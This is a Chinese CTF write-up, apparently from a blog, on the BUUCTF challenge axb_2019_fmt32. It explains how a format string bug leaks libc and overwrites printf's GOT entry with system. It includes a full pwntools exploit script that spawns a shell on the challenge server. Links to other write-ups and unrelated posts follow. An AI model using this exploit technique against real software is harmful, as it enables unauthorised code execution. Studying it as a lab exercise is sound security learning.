axb_2019_fmt32

附件

步骤:

  1. 例行检查,32位程序,开启了nx保护
  2. 本地试运行一下程序,看看大概的情况
  3. 32位ida载入

    alarm(),是闹钟函数,主要功能是设置信号传送闹钟,即用来设置信号SIGALRM在经过参数seconds秒数后发送给目前的进程。如果未设置信号SIGALARM的处理函数,那么alarm()默认处理终止进程
    25行,明显的格式化字符串漏洞

这题没有后门函数,也没有系统函数,要用格式化字符串泄露出某个libc函数,来获得libc基址

s 和 format 两个参数,都没有溢出,,也没有函数能写进got表,,所以还是再次利用格式化字符串漏洞通过%n来写入数据

利用过程:

  1. 首先找一下我们输入的参数在栈上的相对位置,如图,补了一个字母‘B’之后偏移为8
    找到偏移量后可以来泄露libc版本了
payload = 'A' + p32(printf_got)+ 'B' + '%8$s'
#‘A’ 是用来补位的,这样后面的printf函数的got表地址就会在栈上相对距离为8的位置
#‘B’ 相当于标记位,下面在接收数据的时候,接收到字符‘B’,后面跟着的就是我们泄露出来的函数地址
#%8$s 利用格式化字符串漏洞的%8$s去泄露出栈上相对距离为8的地址上的值

关于格式化字符串漏洞的原理,利用,格式化字符,看该文章

2. 在得到libc基址后,就可以算出程序里的system函数地址了

payload = 'A' + p32(printf_got)+ 'B' + '%8$s'
r.sendafter("Please tell me:",payload) r.recvuntil('B')
printf_addr = u32(sh.recv(4))
print(hex(printf_addr)) libc = LibcSearcher('printf', printf_addr)
libcbase = printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
  1. 我们接下来要做的就是把利用fmtstr_payload,将printf的地址改为了system的地址,这边用的pwntools的工具,我简单解释一下,关于工具的具体情况,看这篇文章
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
payload='a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)

0xa=1(payload前面的a)+9(repeater:的长度)
之后传入 ‘/bin/sh’ 即可以获取shell

完整exp

from pwn import *
from LibcSearcher import * context(os='linux',arch='i386',log_level='debug') #r = process("./axb_2019_fmt32")
r = remote("node3.buuoj.cn","27499")
elf=ELF("./axb_2019_fmt32") printf_got = elf.got['printf'] payload = 'a' + p32(printf_got) +'22'+ '%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print "printf_addr"+hex(printf_addr) libc=LibcSearcher('printf',printf_addr) libc_base=printf_addr-libc.dump('printf')
system=libc_base+libc.dump('system')
print "system_addr"+hex(system) payload='a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload) r.sendline(';/bin/sh\x00')
r.interactive()

libc选13

参考wp:https://www.yuque.com/u239977/cbzkn3/nu76pp

百度过程中发现原题是道盲打,贴一下盲打的链接,本人太菜,没太搞明白
https://www.anquanke.com/post/id/196722#h3-4

[BUUCTF]PWN——axb_2019_fmt32的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

随机推荐

  1. [spojSUBST1]New Distinct Substrings

    求出后缀数组和height数组,然后因为子串即后缀的前缀,考虑不断新增后缀然后计算贡献,如果以sa的顺序新增那么第i个就会产生n-sa[k]+1-h[k](n-sa[k]+1为总方案,h为不合法的方案 ...

  2. Go语言核心36讲(Go语言实战与应用十五)--学习笔记

    37 | strings包与字符串操作 Go 语言不但拥有可以独立代表 Unicode 字符的类型rune,而且还有可以对字符串值进行 Unicode 字符拆分的for语句. 除此之外,标准库中的un ...

  3. 入坑 OI 249561092 周年之际的一些感想

    2018.2.10~2021.2.10 又是一年的 2 月 10 日,今天的到来意味着我 OI 生涯的第三年已经结束,即将开启 OI 生涯的第四年了.回顾这三年以来自己由懵懂.无知慢慢变成熟的历程,感 ...

  4. 洛谷 P3676 - 小清新数据结构题(动态点分治)

    洛谷题面传送门 题目名称好评(实在是太清新了呢) 首先考虑探究这个"换根操作"有什么性质.我们考虑在换根前后虽然每个点的子树会变,但整棵树的形态不会边,换句话说,割掉每条边后,得到 ...

  5. 51nod 1709 复杂度分析

    51nod 1709 复杂度分析 考虑定义 $ F(x) $ 为 \(x\) 为根的子树所有点与 $ x $ 的深度差(其实就是 $ x $ 到每个子树内点的距离)的 1 的个数和. 注意,$ F(x ...

  6. Linux-设置终端界面的字体颜色和自定义常用快捷功能

    .bashrc是一个隐藏的文件,要打开并修改该文件需要: (0)命令:cd ~ (1)命令:ls -a 找到文件 .bashrc: (2) 命令 vim ~/.bashrc 进入到文件: (3) 直接 ...

  7. 重学Git(一)

    一.最最最基础操作 # 初始化仓库 git init # 添加文件到暂存区 git add readme.md # 提交 git commit -m 'wrote a readme file' 二.简 ...

  8. python web工程师跳巢攻略

    python web工程师跳巢攻略 流程 一面问基础 二面问项目 三面问设计(经验) web请求的流程 浏览器 负载均衡 web框架 业务逻辑 数据库缓存 后端技术栈 python语言基础 语言特点 ...

  9. Python计算期权隐含波动率

    更多精彩内容,欢迎关注公众号:数量技术宅,也可添加技术宅个人微信号:sljsz01,与我交流. Black-Scholes 将期权价格描述为标的价格.行权价.无风险利率.到期时间和波动性的函数.  V ...

  10. 零基础学习java------38---------spring中关于通知类型的补充,springmvc,springmvc入门程序,访问保护资源,参数的绑定(简单数据类型,POJO,包装类),返回数据类型,三大组件,注解

    一. 通知类型 spring aop通知(advice)分成五类: (1)前置通知[Before advice]:在连接点前面执行,前置通知不会影响连接点的执行,除非此处抛出异常. (2)正常返回通知 ...